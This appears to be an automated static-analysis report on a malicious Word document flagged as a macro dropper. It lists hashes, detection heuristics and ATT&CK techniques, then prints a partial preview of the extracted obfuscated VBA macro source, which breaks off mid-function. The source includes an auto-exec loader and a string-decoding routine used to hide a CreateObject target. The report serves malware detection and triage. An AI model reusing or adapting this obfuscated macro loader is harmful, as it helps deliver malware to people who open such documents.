Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 88340bff6d1c4f5e…

MALICIOUS

Office (OLE)

183.0 KB Created: 2018-06-18 10:10:00 Authoring application: Microsoft Office Word First seen: 2018-07-23
MD5: 03a227232b751a4df28732b202b421bc SHA-1: 4acd331e3f695b5fcfec55447f1f169314a65b8d SHA-256: 88340bff6d1c4f5e84d4c89443a37e7993a59c4697e86bbc1f19c90f8e24968e
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing heavily obfuscated VBA macros. Critical heuristics indicate that these macros are designed to download and execute a file from the internet, likely a second-stage payload. The presence of an auto-exec loader and CreateObject calls further supports this dropper functionality.

Heuristics 9

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            gyoIn = uCAZOC.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set WWIdWX = CreateObject(NdBcsgvO("WNS_cmrzi!pqts.sSThueTlFlM"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WWIdWX = CreateObject(NdBcsgvO("WNS_cmrzi!pqts.sSThueTlFlM"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50465 bytes
SHA-256: acd2ea64e1d9b0f631ec1dfb95e20d6c48bac092964d7f00d34c678cea4ed39b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
516 of 818 identifiers look randomly generated (e.g. 'DFsppGqwYeNLNyNrIlwqaqlpNkjSpgWu') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function xdtZfj(PtUrfGO As Integer) As String
    KWIhbIh = Right("WXSJ]TG$-p(i.kG_[", 3)
    fcttjNUN = 1142 - 1167 - 1651
    WCaLjq = Left(".t_Z]sv[krL&fE$bDt", 4)
    For lSbflg = 0 To 63
        ttmerym = StrReverse("k^obat_eM[hlYZQK-H")
        zuBRs = Space(14)
        fcttjNUN = Space(5)
        CXVddt = RTrim("(lIqg!N&Om_Sog")
        NTfPE = 1078 + 642 + 1198
    Next lSbflg

    CXVddt = Left("hNJ@?rO[gOV[bPal", 3)
    KjtjIeai = 1793 + 1105 + 184
    spGqx = Right("vqxFBUBCcVJoZ)v", 3)
    For ixRHir = 0 To 128
        CXVddt = "UHNBFeyVgl" + "EoRty].j)(UQimRsMT" + "m@rm!zITHz@W?OM"
        spGqx = Right("?Z$tCUdA[U (pw", 2)
        fcttjNUN = Right(")ouFsR#GBuj(trq", 5)
        fcttjNUN = Left(". tvmY.soOUlnYzaDAG", 5)
    Next ixRHir

    spGqx = "_JAZ.R_dkyeR" + "!sXXp&p[aQ?rmm_(W" + "ofKQAkPB$a%LDl"
    WCaLjq = Right("mm_Ur]mW[?SVXL^x", 5)
    KjtjIeai = Space(5)
    crFQpa = "LltMPTo[ DN-TP" + "b)DoCl&VX.yR%" + "iEz^DK^ SpRLKP[*"
    crFQpa = UCase("zxYmRKQ#ems")
    MmfgEHJK = LTrim("BFqKB?E[ *")
    zuBRs = Left(".CVTR)mWFldGNTbo?o", 5)
    KWIhbIh = Right("[-)U$FbrPEZz?", 3)
    WCaLjq = StrReverse("?WR@m-_(JBc.Skl")
    fcttjNUN = 1769 + 1811 + 1650
    MmfgEHJK = LTrim("[(WlRcHwY&?hu)w")
    KjtjIeai = StrReverse("v*]H$@@ubhJ")
    fcttjNUN = Space(3)
    spGqx = 1263 + 1566 + 1555
    NTfPE = Right("T-BK&x wquU", 3)
    KjtjIeai = Right("e.&$u]]BN.", 2)
    NTfPE = Left("#LkK((rd^TEYAg!(_rf", 4)
    MmfgEHJK = StrReverse("n^CR#]SPq uRgWIt")
    MmfgEHJK = 575 - 1031 - 1422
    fcttjNUN = "uzmXKycI@E[j@asaynn" + "iDJOIvePbZ" + "*RztvgT(LV"
    ttmerym = 661 - 1437 - 1852
    NTfPE = Right("A?u)eovsjx!", 3)
    zuBRs = 1820 - 535 - 1113
    MmfgEHJK = StrReverse("HHArLi*jX)Zz@f-ARsH")
    xdtZfj = "DFsppGqwYeNLNyNrIlwqaqlpNkjSpgWu"
End Function

Private Function nLCmet(dhmUCR As Boolean) As String
    fcttjNUN = UCase("GP.mV$AQ[LjDWHJnXz")
    crFQpa = LTrim("Oc_iNABvFbdysrW")
    WCaLjq = Left("Egb-i%[HP&pi", 5)
    fcttjNUN = LTrim("RrLMONi#TN(WZ")
    CXVddt = Space(20)
    ttmerym = 596 + 1679 + 1606
    spGqx = 238 - 1735 - 1583
    CXVddt = "%Wpx#j]b@#zAcruYa" + "UOk[TswsE*[" + "vZMLEDDS)Bbc(X"
    KjtjIeai = RTrim("vPXzQyjxPU@")
    zuBRs = LTrim("!cgHZkbu^wqbfCEHi")
    KjtjIeai = LTrim("mXI)GMIEJk")
    fcttjNUN = Space(14)
    zuBRs = RTrim("c&H.oXR*)ilC")
    MmfgEHJK = Space(14)
    MmfgEHJK = UCase(".PPlPRrR-B(cCHud")
    MmfgEHJK = 473 - 1151 - 527
    KjtjIeai = LTrim("qmwTmDCBpoln_ #")
    zuBRs = 479 + 1597 + 605
    zuBRs = LTrim("mtV&QvZmQtM%Z?Yb")
    crFQpa = StrReverse("pWgozmKqTeG")
    MmfgEHJK = Space(18)
    CXVddt = UCase("@.AdkLRdjt?)yK K")
    WCaLjq = Right("khwqsMzz%Spzw", 5)
    fcttjNUN = 752 - 1420 - 209
    NTfPE = Right("*UjMNXbV Ko[yaEoD", 2)
    MmfgEHJK = 695 + 590 + 1815
    WCaLjq = RTrim("W.cz-SY$%Qy")
    fcttjNUN = 1634 + 343 + 672
    nLCmet = "maTtbtRkYQXnJVvpKPsKSrtwuRxK"
End Function

Public Function NdBcsgvO(PItMAd As String) As String
KWIhbIh = StrReverse("tUJ(YjG%.ySsMzZhT")
For kgMEyk = 0 To 38
    zuBRs = UCase("w$kI%X?@RS(U pz")
    spGqx = Left("d?f*j!%YOG WwHpCF", 4)
    WCaLjq = Right("LIIrwE)cqOxy", 5)
    KWIhbIh = "wIEUfEu(C@[QlDjID" + "Q]SPgio*ROEArT#-W" + "yqo.*T]Q^zmIW"
    MmfgEHJK = RTrim("JXyYj]*df$QP[sAY")
    ttmerym = Left("tNvlqG?!jXplwZp?dRk", 4)
    KjtjIeai = UCase("V#p&MZtdyCkHKLRh)eFe")
    KWIhbIh = Left("Y-ysGjoYF?l?.", 3)
    zuBRs = "*dbibzWlEwCobTLSe!Dl" + "YBQ]yIv%eLlaI.^e" + "glYMWTsqfE("
Next kgMEyk
NTfPE = Right("INrZI.eF#)R", 4)
For oaZgqs = 0 To 278
    NTfPE = Right("C*(d$gVevOByiBO&K][", 2)
    ttmerym = 1499 + 1928 + 1001
    MmfgEHJK = Right("^Ad]pdn.xYdHo.", 3)
Next oaZgqs
WCaLjq = StrReverse("Q]Ed^Hae&_^sYi)l")
    Dim LaRIIuh() As Byte
    crFQpa = LTrim("[ouSx*SFyrs?UUX?BhM")
    spGqx = UCase("*bNTLTK?E&^#")
    zuBRs = "fva!y%WUUO(Mxk!" + "wbmm)Kxi??fAriJr[S" + "xmC]y!!rrnjS$?"
    Dim GjuxbI(1000) As Byte
    For hKIQlr = 0 To 197
        MmfgEHJK = UCase("o^d!h#]eKCIFDR_o(%")
        zuBRs = RTrim("wR(cqfM?$M[jX$uZjF)@")
        KWIhbIh = UCase("%. ?a%iPtbdmX")
        fcttjNUN = Space(1)
        spGqx = Right("l[B^TkzoVzVPcNBLlK#", 2)
        KWIhbIh = UCase("RsVRuHuRs-j")
        ttmerym = Right("lvQ*]vPBlZb#A", 2)
        spGqx = Space(9)
        crFQpa = "InJG_N.#EiOL" + "m!iktiYOk$#zrlTdwqk@" + "Z-tgP%O?)^P$Au@D-z"
    Next hKIQlr
    jlnIw = 0
    While nFsaYh < 289
        ttmerym = LTrim("Jv_QiLJKBi)scY")
        NTfPE = Space(4)
        CXVddt = Right("E!pMnh]JeFw", 4)
        nFsaYh = nFsaYh + 1
    Wend
    KWIhbIh = UCase("#BtakBwKom$TdUH")
    For keftAI = 0 To 213
        NTfPE = Left("%k#@Znjw]fOrW", 2)
        crFQpa = Right("[fwMBstQQ-bJ).)", 3)
        KWIhbIh = StrReverse("l-y[oxx$zAOoSlWki)")
        fcttjNUN = Space(11)
        WCaLjq = Space(5)
        ttmerym = RTrim("k*%ymJUoL^")
    Next keftAI
    LaRIIuh = StrConv(PItMAd, vbFromUnicode)
    ttmerym = "LdK^-Zm]F)VRfzB*a-S" + "[FIF^bqsosz!KUuX" + "&UhLlQjLrgjqs^zK"
    zuBRs = "nxmMDa.O)Kc.UYVTRFAd" + "lTpL( *#BACP" + "h$iIa(UwN)x&f"
    zuBRs = Space(18)
    For QQMruW = 0 To UBound(LaRIIuh) - 1
    CXVddt = Space(7)
        If (QQMruW Mod 2 = 0) Then
            GjuxbI(jlnIw) = LaRIIuh(QQMruW)
            While DFhSLI < 165
                spGqx = Left("Ymozi@C-qQ&", 2)
                WCaLjq = LTrim("$GbIxnBuB^A")
                ttmerym = StrReverse("zq(lM*wIIz(QvG %h(j")
                crFQpa = Right("*fnB[-q!]s$", 4)
                CXVddt = UCase("Fz$h][$@[Dbs)&^w[")
                crFQpa = UCase("RZhvs mVug")
                ttmerym = 179 - 1256 - 800
                CXVddt = Left("TlPqTXKH$JRzXklM$wbW", 5)
                MmfgEHJK = Left("eXIjC$s[)M%gyQjZA", 4)
                ttmerym = StrReverse("E@eQyJql@FB")
                DFhSLI = DFhSLI + 2
            Wend
            KWIhbIh = Space(18)
            ttmerym = 1161 + 1327 + 1056
            jlnIw = jlnIw + 2 - 1
            KWIhbIh = StrReverse("Zmj#@ JrzKnEomfZ?")
            KWIhbIh = RTrim("hUjo$vT_a]F AqE_?%U@")
        End If
        KjtjIeai = StrReverse("kZz#&M]ZSU")
    Next QQMruW
    While Ssqien < 201
        spGqx = "uasC-&MJT&BMta%" + "u.tgSTO^Hy*x$D_" + "r MO_uYyy]ox%E@"
        MmfgEHJK = LTrim("zDHMp)WIDYmehU")
        Ssqien = Ssqien + 3
    Wend
    ttmerym = StrReverse("i.BMM&)DX@r")
    zuBRs = RTrim("e&[AWvFfYnTNjZ")
    NdBcsgvO = StrConv(GjuxbI, vbUnicode)
    fcttjNUN = Left("FVOv.hYDRPa", 2)
    CXVddt = UCase("rizka-F]w$k")
    ttmerym = "P -&vnKWb_c@-TglAo" + "yNkSHKak?J!%VS@Ui]x[" + "Qni^CxP_iW"
    WCaLjq = LTrim("gWf#fen#Q!^Rqngx^")
    fcttjNUN = 278 + 1750 + 887
End Function
Private Sub kYTTrg(pUFOSpH As String, gpnGXjH As Double, uhdbypa As Integer, WiiTzNH As Boolean, STdgMTK As Boolean)
    KWIhbIh = Right("CnHf##UfyyGaSXh", 3)
    MmfgEHJK = LTrim("kF?@U(jvcdomus)")
    KWIhbIh = Space(7)
    crFQpa = UCase("q-ScdKSb.uhQY*ehp")
    ttmerym = RTrim("JDPGlrhNGcRtU")
    NTfPE = UCase("KFO^gDBAgd_bJaxN#")
    MmfgEHJK = RTrim("&uHvoJnzw-s*")
    KjtjIeai = Left("VUSeP^WPy([J", 5)
    NTfPE = RTrim("uJFmo?*OP^-e[T")
    ttmerym = 746 + 1181 + 1248
    zuBRs = LTrim("e HHQ]LIs d*R")
    NTfPE = Space(9)
    NTfPE = Right("#[$]PZ@FFBrZhxnd", 5)
    spGqx = Space(6)
    spGqx = LTrim("NUXSD*pW[qc")
    zuBRs = 925 + 1326 + 629
    ttmerym = 122 + 1102 + 1511
    KWIhbIh = Right("uBkcUsEaE@^F", 2)
    zuBRs = StrReverse(")Bq^bgcSXC")
    NTfPE = RTrim("UWdAkAu^k^#")
    For CVRgDW = 0 To 110
        NTfPE = RTrim("vZhtNztstD@oek[JTy")
        crFQpa = Right("E(CqXVSkrDJn)xKHc", 4)
        crFQpa = StrReverse("zQiImMcPT?EUSMHXfoO")
        spGqx = 1946 - 575 - 1869
        crFQpa = 1674 - 1743 - 1648
    Next CVRgDW

    ttmerym = RTrim("bmaCgNcTZoHrA")
    zuBRs = StrReverse("@A-z@ odGsR$HK[UX[@N")
    CXVddt = StrReverse("dYpe$*U#MmJ!")
    WCaLjq = "%?p*]Ztul^Fq_" + "WC@KN(*Ejq.hJxJe_[" + "u_TJUpAg#n#gPigPWHIK"
    fcttjNUN = RTrim("PkDoPofTcxBVY)&")
    CXVddt = ".Lgt.JNF^LX$*rna" + "dAubpmsgUrD#OF%h" + "bBy%@B$vIYimYhFKslq?"
    WCaLjq = StrReverse("a(Wk!g$AXl")
    NTfPE = Right(")&Wu]*U?A_wLlTSMUi", 3)
    zuBRs = StrReverse("vHp$VG[nEy%u$")
    KWIhbIh = Space(12)
    NTfPE = "b*w[hyx%JbWf*%hByfs" + "BGX^nYgapr.GP)*(HEYx" + "qVIdZGbeo)c"
    ttmerym = Space(12)
    NTfPE = StrReverse("GiD^brXhWL*!pCKQxS")
    fcttjNUN = LTrim("U*yHP(O(YxQB")
    ttmerym = LTrim("icRmOlS[mHfUb]*t%f")
End Sub

Private Function NCAzUF(TUoWmM As Double, bjYmGV As Boolean) As String
    zuBRs = Left("qig$ Zk@B(B )EEh%zI?", 2)
    NTfPE = RTrim("OsYx!hPZZp#v-CG")
    For FyYHRk = 0 To 233
        crFQpa = 1322 - 397 - 1660
        zuBRs = Right("JsdRcroZUJBcJ", 5)
        spGqx = RTrim("wVk$&PcI!Y(")
        CXVddt = Right("NcciFrY^DdGHc&ejiRY&", 4)
        WCaLjq = StrReverse("uVFWGyTJePXQWfo*tu")
        KjtjIeai = Right("nsX_SIfEDXC[", 5)
        MmfgEHJK = UCase("vIwKZ)SbAG&g&]A(ruS")
    Next FyYHRk

    For OvcYpD = 0 To 207
        ttmerym = 651 - 605 - 1119
        fcttjNUN = Right("on WJiCfX#ov-Xh", 2)
        ttmerym = Left("zpWl$mFxwkNnWG(C.T!", 4)
        crFQpa = Right("hJ%aSIJinSJ#Y.xk", 2)
        WCaLjq = 1267 - 690 - 886
        fcttjNUN = StrReverse("_LAmfMFwa![#lPnKt?Y#")
        ttmerym = LTrim("r%h?aSvkm.g@ZafR")
        crFQpa = 206 + 1090 + 428
        fcttjNUN = UCase("J((Lmy@IRr")
    Next OvcYpD

    CXVddt = Left("_KzZmbwVo#s%YzYGY)", 3)
    NTfPE = 758 + 701 + 937
    For yAeRON = 0 To 41
        NTfPE = Left("abe]NO]GYuXIy*U", 2)
        WCaLjq = 1919 + 1113 + 1408
        NTfPE = Space(13)
        NTfPE = Right("^UC[ $Xn!MK*p$@g", 5)
        MmfgEHJK = RTrim("dkCuPg_dz!&!od(")
        MmfgEHJK = Space(10)
        zuBRs = 1904 - 811 - 1530
        KjtjIeai = 1259 - 1788 - 996
    Next yAeRON

    KWIhbIh = 1878 + 715 + 1491
    spGqx = LTrim("jr$m?VwF&xu")
    While JSTALu < 72
        fcttjNUN = Right("^Bi&wrjX%$bVAYDVPd", 3)
        ttmerym = Space(13)
        CXVddt = 589 + 1435 + 1516
        JSTALu = JSTALu + 2
    Wend

    For mIQMjZ = 0 To 100
        crFQpa = Space(16)
        NTfPE = LTrim("?z)*SKkerS!_UKsKd")
        crFQpa = 1275 - 1895 - 1331
        WCaLjq = UCase("mjhxDWPwhXg_IXJ")
        KjtjIeai = Right("siWvDEbH(hnkvuBzd", 2)
        MmfgEHJK = Space(6)
    Next mIQMjZ

    ttmerym = StrReverse("R*[O]s%%z)Q_CdEd]")
    crFQpa = 1270 - 1556 - 248
    KWIhbIh = StrReverse("$[Xt&*YTXlYPg")
    spGqx = "lw@u%abz]rfd*Ss." + "-oo_jOUHL.XK&k^Yb_S" + "b_vLZlR$WaWJn)!RaKpu"
    KWIhbIh = LTrim("eYK*M_Q]PJnvcD")
    zuBRs = Space(2)
    ttmerym = Right("_%E^n?Et%Lu@w_VZER", 5)
    fcttjNUN = StrReverse("Evk.@_ surYt(XtDZSVD")
    NTfPE = 162 + 1844 + 777
    zuBRs = Left("v_gu(sk*?PTp", 3)
    crFQpa = 1822 - 116 - 304
    NCAzUF = "LTwQUnBKkLlcAtDvKgtWjL"
End Function

Private Sub WrtnAS(xORKmB As Double)
    crFQpa = "L! j.$BXBqea!St-c]Z" + "^ZO^x d!tIPiq" + "k$bXeGoeza"
    CXVddt = RTrim("[KLTuRd^k@L Vf)")
    NTfPE = Space(20)
    KjtjIeai = Right("-mfrePTne(jRy%q[^VV", 4)
    KjtjIeai = 361 - 1213 - 1924
    WCaLjq = Right("*)fHjWSlA.d", 4)
    zuBRs = Right("GvVclms.LLg)ky", 4)
    While tGKsQd < 297
        zuBRs = UCase("@uaYjQnzs]T$yE")
        CXVddt = LTrim("WeEXcE!jcz-Q(sa^")
        MmfgEHJK = Right("#qlfGX%*mhbqsy", 5)
        CXVddt = Space(5)
        NTfPE = StrReverse("^oY!$x*kIaaYoI)uaTZZ")
        zuBRs = LTrim("jlwHM!%(tb.")
        zuBRs = "VvzuT*BvC^b!xy[UFEm" + "@uYrVIEyt!y" + "[OgNgFHnXItetZKJBv"
        KWIhbIh = RTrim("U_@qRd^dw%arT")
        CXVddt = UCase("LHaMyKQm?BxliPCc^s")
        tGKsQd = tGKsQd + 1
    Wend

    CXVddt = LTrim("wUZqlnq#xA&xf^VkNzb")
    KjtjIeai = LTrim(".XDhvvhZ]vQ?Pt_!")
    WCaLjq = Left("Vo %gVvOd q@?pn)mZ#", 5)
    crFQpa = 619 + 732 + 1023
    WCaLjq = "jDlID^P___TTEQ" + "?nCz* lhuN]oksFwDi" + "#AJRRv!.!Z"
    While EJNpiG < 282
        CXVddt = Right("i^UT&Si*klsacv-$e", 3)
        WCaLjq = Left("@FTGlhE(E%psn.rjq", 4)
        NTfPE = RTrim("*_OXDmA_%Ai")
        CXVddt = RTrim("JLmPkESE_fsCIvvgvZr")
        KjtjIeai = LTrim("S$mS[ q%oTsakJc!")
        crFQpa = 966 - 667 - 1003
        NTfPE = Right("KfVHzVbtKoTo!JYvP", 3)
        zuBRs = Left("#]VjPZ^XSE", 5)
        EJNpiG = EJNpiG + 1
    Wend

    NTfPE = StrReverse("rtRpDdRZlvDy%_#pBj_")
    MmfgEHJK = "pLieThr ^[ $" + "eH@g]JrRXqFDXL" + ")h[LxQyuT^v*vBu"
    MmfgEHJK = "%vGVwI-eIO)t.P GS.yk" + "OluS%(xMP_f#?ACL" + "xLmGlUfpd$b"
    MmfgEHJK = "PxplAQMYxRNf" + "NGJEjj*wPn" + "NHFmyV)z!xTYLDZE"
    WCaLjq = StrReverse("OQvfFja&pR")
    KWIhbIh = RTrim("mSx^I(k&kDG kbw")
    spGqx = UCase("ZSkNZIGsGn(-I#e")
    fcttjNUN = StrReverse("xSL^UiuHrfkzLW?Sp(#k")
    KjtjIeai = LTrim("bvEMT]jF iJ%*CzVkX[")
    ttmerym = Left("^y!R(PT[mg&#mucw", 5)
    CXVddt = RTrim("jowBBbgOQLQEb%z")
    crFQpa = Left("bKZC]hut$bI", 2)
    spGqx = Left("BQ%wKPZOwJ*", 2)
    CXVddt = 1627 - 512 - 1962
    CXVddt = LTrim("!NAdHoZ?B*..ikIsPYwM")
    spGqx = UCase("CnJdo-WGgVxmds")
    WCaLjq = UCase(")-sx@)Z.%$fl")
    KWIhbIh = Space(4)
    CXVddt = LTrim("Gg)^.k?t&N!")
    spGqx = 116 + 145 + 540
    fcttjNUN = StrReverse(")cXmTXEwayYiy$YfTjjq")
    NTfPE = 737 - 1078 - 288
End Sub

Private Function SgQPgv(dRvdMU As Integer, mdJtYJ As String, qopaziF As Boolean) As String
    KWIhbIh = UCase("BKpj^FSaleHs DKslk")
    CXVddt = Space(16)
    WCaLjq = 1197 - 112 - 1088
    zuBRs = Left("jF-rM$-! kFckVnErkeN", 2)
    WCaLjq = Right("Liq$vn?&Gopk", 5)
    zuBRs = Space(8)
    WCaLjq = Space(5)
    For VqWlQu = 0 To 73
        zuBRs = Right("BJmC!QR*Wd", 4)
        KjtjIeai = 1604 + 682 + 983
        CXVddt = UCase("Qt*mlqEjVCknkqM](")
        CXVddt = LTrim("SITzZodZ-oS &!GJ")
        MmfgEHJK = Right("RQA.]NNV!Q%*", 5)
        KWIhbIh = 797 + 1600 + 304
        MmfgEHJK = StrReverse("?[!wIGs^x!T")
        zuBRs = RTrim("#LAIeJg[Xq)h])Ujcs")
        fcttjNUN = "CcPSgnX GZjhZ" + "JJw!WUQ?fCSDebVxA" + "Kmt_ hhxAQdWyiUs_n"
    Next VqWlQu

    For AITkiP = 0 To 102
        KjtjIeai = UCase("E)^kba*c]DIbaw(FiLAi")
        KjtjIeai = LTrim("fTZQDJAK_@$)ii(-gM")
        NTfPE = "^k$#jSQniJBe]" + "lgsdlFZPZCXMVA*f]" + "rS[tXVr$NvhE_jPDoyDu"
        crFQpa = "M[G[$!)PUYsWGC?" + "hZ#?nEj-oNikF%" + "fwYTqO.k.bRlip!F"
    Next AITkiP

    KjtjIeai = Left("AfX]s)?!]nXzy", 5)
    While TAJEcH < 287
        WCaLjq = RTrim("&UzUlJGHTni*d va")
        MmfgEHJK = Right("%KEew)GjxkManM[N([v", 5)
        KWIhbIh = 533 + 755 + 377
        MmfgEHJK = RTrim("N_mELk[hD^#?")
        fcttjNUN = LTrim("C sBK.?J)V")
        KjtjIeai = Right("^BD ?&wEhG(nR?f", 5)
        zuBRs = StrReverse("MP-QEMB[E]gs(e")
        WCaLjq = "uMTOkLptJd" + "_@xhmDuAaTZCzBQXGu$W" + "PB[xW%ihlRWE"
        KjtjIeai = LTrim("K@QlkEKq(ULYUsiY")
        KWIhbIh = 491 + 1498 + 713
        TAJEcH = TAJEcH + 3
    Wend

    CXVddt = Left("k(VVnumiMrjnu.Xe", 4)
    KWIhbIh = 1393 + 1248 + 1494
    KWIhbIh = RTrim("NYSXtU_Tt?XnRN(!")
    ttmerym = 1566 + 1988 + 1665
    spGqx = 366 + 1849 + 283
    CXVddt = UCase("L&.U@!bejjGf")
    zuBRs = Left("ekkCrRU)f- QZYa", 2)
    MmfgEHJK = LTrim("tF%_I%V@MvPKV.Gs")
    KWIhbIh = "SY[kcwey*h" + "^$XjDhe&Fyo" + "_M[fUVzuagXR"
    NTfPE = "sq(YD_S-O@J(&kByFx$" + "-U*bkxIo]$M" + "z*L#GSTA-zfsn-t#lsC"
    zuBRs = LTrim("oU?V.?TSdGmG")
    zuBRs = RTrim("E&ksmV#Y^]$Wrre*T%")
    WCaLjq = Space(3)
    SgQPgv = "dprUegwKSTRpnNpxvrXdtRbB"
End Function

Private Sub ojySUT(jjalZCb As Double, bCXsuCT As Boolean)
    While yXZykU < 12
        WCaLjq = StrReverse("%j-$Uj@ZY?$")
        ttmerym = UCase("qXo.o^OkIkRy")
        yXZykU = yXZykU + 1
    Wend

    CXVddt = Left("N)Xa^in?dluYAGZvW@j", 4)
    CXVddt = "GtxBzrtJ$vh]PcloH" + "s!qCRYePOeWbUdJmx[" + "@l))!)XtFua.Dm%wGeu$"
    zuBRs = Left("w MX@YLbZ RTb", 3)
    KWIhbIh = "Gb-Z[Mboni" + "mlSs$G(l$A" + "j$K#B @g kbK[*"
    crFQpa = Left("sJt_S-H?Kw*sY[mu@&", 2)
    NTfPE = Right("LPoBYw?($LcO", 5)
    ttmerym = Left("jNPdoJFjUH xxb", 5)
    KWIhbIh = "yZ^Hvxlyrc" + "GJ^G[ma_IbjNnh )PSe" + "LPMm&K du?J&BHFkL"
    WCaLjq = Space(18)
    WCaLjq = 254 - 1053 - 1677
    fcttjNUN = Right("*J@x.iZYaccIGf@bkT", 4)
    crFQpa = 1916 - 920 - 170
    crFQpa = 456 + 1898 + 1081
    MmfgEHJK = Right("!tVLdWXEy!@", 3)
    KjtjIeai = UCase("ioks)TzJ#IO^hC")
    MmfgEHJK = 1327 + 1329 + 1095
    spGqx = StrReverse("FOp #z%?WKoh$wSazTaq")
    crFQpa = UCase(")uaZpMbKqOoXV")
    For wfTnZJ = 0 To 191
        zuBRs = RTrim("WtassyusMv")
        KjtjIeai = 1962 + 1165 + 155
        spGqx = 1872 + 1724 + 161
    Next wfTnZJ

    spGqx = 233 + 611 + 1944
End Sub

Private Function GPFpfz(USnmhWJ As Integer, oUafCI As Double, KccYtT As Boolean, JpsdOBP As String, aJQcpe As Double) As String
    KjtjIeai = UCase("_d((v]w_(F)exkUF)ZU")
    For zQWkvo = 0 To 338
        MmfgEHJK = Right("eNbAY)u%Mc", 5)
        ttmerym = Space(17)
        CXVddt = Left(")TM&K(&%JA%pWlcivC", 2)
        CXVddt = StrReverse("r^ED((!Qv-lg-")
        crFQpa = 421 + 1176 + 906
        CXVddt = Left("Ee_Y #t.).jrmvCII^j", 2)
        KjtjIeai = UCase("(a(HW g_voun%Vnd")
        spGqx = Space(19)
    Next zQWkvo

    KWIhbIh = 1356 - 304 - 207
    ttmerym = "(K*uKz@OCqw" + "t@RsdS xmAeAk_dbHN_$" + "WksQtaaz]G_Kisz"
    MmfgEHJK = RTrim("mJ?WT)EoXLC")
    ttmerym = LTrim("L]]ZhdGysNIS p#u")
    crFQpa = Space(13)
    spGqx = 799 + 908 + 1458
    While SiGooK < 355
        MmfgEHJK = UCase("TJiOd*vESjEJ")
        crFQpa = RTrim("conAPeIFFKwk]VQ")
        KWIhbIh = Left("AkQu^dR@Qbmr@?b", 4)
        NTfPE = Space(20)
        SiGooK = SiGooK + 1
    Wend

    spGqx = Left("h[xqBrQ?ZeKrWG", 4)
    WCaLjq = "[MuTBrqF_#" + "UhxmL&nIerOv%sE_*k" + ".EYiUHB_GGT"
    spGqx = 1200 - 681 - 1074
    spGqx = RTrim("TMp%^-x.Xpd*Yx")
    spGqx = LTrim("dhK%U)J-!IQw")
    NTfPE = "Qd PQE$InNPc" + "!)Co IA(aTqjS]Z^" + "H^!x#fv& )iIXhO^Vt"
    ttmerym = 1618 - 1314 - 1231
    CXVddt = Right("T%ztM gScLWH@Cdo", 2)
    KWIhbIh = 1363 + 614 + 1734
    zuBRs = StrReverse("G%[sEhUd)gImWd")
    WCaLjq = "qbi?VV_Bf_g^H" + "#.aoN!xGZL?NwdNej" + "c#P-R Xna tJI"
    KWIhbIh = Left("yZgGzSMh)!Jq eN", 3)
    KWIhbIh = 1418 + 1354 + 983
    spGqx = Left("JKrR#oxyG)KhPny?V%ge", 4)
    KWIhbIh = "Nb-?h#qX_zuHF " + "FpRhkW DCs$a*E^Pn." + "BY)!_- lJN-mCH"
    KjtjIeai = UCase("FNqcO(yBF?M")
    spGqx = Left(" fJQ_#ckoBr*vBuo", 3)
    CXVddt = LTrim("kYYeNik^oOSmd")
    CXVddt = UCase("zC.oN@L%t)zGMz")
    GPFpfz = "WguGpfOWkmHSzRITjhrjCFURjhVf"
End Function

Private Sub uVGBZu(wVfrkAF As Double, epcvQu As String, diPIdl As Integer)
    MmfgEHJK = StrReverse("%u#IQ!K%ti")
    WCaLjq = LTrim("_R&y!lVtjaNHT[]][")
    MmfgEHJK = Space(9)
    KjtjIeai = 1717 - 1622 - 1625
    crFQpa = RTrim("mCabcnUu swDEE")
    MmfgEHJK = StrReverse("X-VeKm*qN_m%_nDEte")
    zuBRs = LTrim("_n*&U(N@zkVDVJV")
    WCaLjq = UCase("mO%s(!DS..wOjQ XqX")
    WCaLjq = Left("qUBF)KrCgJPzROHb", 5)
    NTfPE = StrReverse("pVH_ZiMojhjvq]")
    ttmerym = Left("MtRFGl%(ds-OW- [P.]", 5)
    spGqx = Right("eeVDM)J gbZ %_lONC%", 5)
    spGqx = StrReverse("_dD?-(?J.#PLqF(L")
    KWIhbIh = Right("Z]ZhtGsra#AT]", 5)
    fcttjNUN = Left("Hq$&EVM?y]iYQ", 4)
    MmfgEHJK = RTrim("Bc$!qNh*kJ&*Ljtls")
    NTfPE = UCase("vMz).gpiX^iRHVFv")
    NTfPE = 808 - 1627 - 611
